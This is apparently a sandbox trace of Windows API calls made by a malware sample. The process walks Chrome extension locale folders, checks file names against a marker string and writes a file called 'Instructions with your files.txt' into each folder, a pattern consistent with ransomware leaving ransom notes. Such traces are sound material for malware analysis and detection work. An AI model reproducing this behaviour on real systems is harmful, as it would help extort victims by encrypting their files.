[0129.795] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 155
[0129.795] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.795] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.795] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\Instructions with your files.txt") returned 174
[0129.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.796] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.796] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.797] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.797] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.797] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.797] CloseHandle (hObject=0x134) returned 1
[0129.797] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.797] GetProcessHeap () returned 0x810000
[0129.797] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.797] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0129.797] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th") returned 141
[0129.797] GetProcessHeap () returned 0x810000
[0129.797] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.797] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*") returned 143
[0129.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.798] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\.") returned 143
[0129.798] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.798] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\..") returned 144
[0129.798] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.798] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 155
[0129.798] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.798] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.798] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\Instructions with your files.txt") returned 174
[0129.798] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.798] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.799] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.799] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.800] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.800] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.800] CloseHandle (hObject=0x134) returned 1
[0129.800] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.800] GetProcessHeap () returned 0x810000
[0129.800] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.800] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0129.800] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned 141
[0129.800] GetProcessHeap () returned 0x810000
[0129.800] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.800] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*") returned 143
[0129.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.801] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\.") returned 143
[0129.801] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.801] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\..") returned 144
[0129.801] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.801] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned 155
[0129.801] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.801] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.801] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\Instructions with your files.txt") returned 174
[0129.801] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.802] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.803] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.803] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.803] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.803] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.803] CloseHandle (hObject=0x134) returned 1
[0129.803] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.803] GetProcessHeap () returned 0x810000
[0129.803] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.803] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0129.803] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned 141
[0129.803] GetProcessHeap () returned 0x810000
[0129.804] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.804] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*") returned 143
[0129.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.804] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\.") returned 143
[0129.804] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.804] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\..") returned 144
[0129.804] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.804] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned 155
[0129.804] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.804] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.804] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\Instructions with your files.txt") returned 174
[0129.804] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.804] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.805] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.805] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.805] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.806] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.806] CloseHandle (hObject=0x134) returned 1
[0129.806] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.806] GetProcessHeap () returned 0x810000
[0129.806] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.806] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ur", cAlternateFileName="")) returned 1
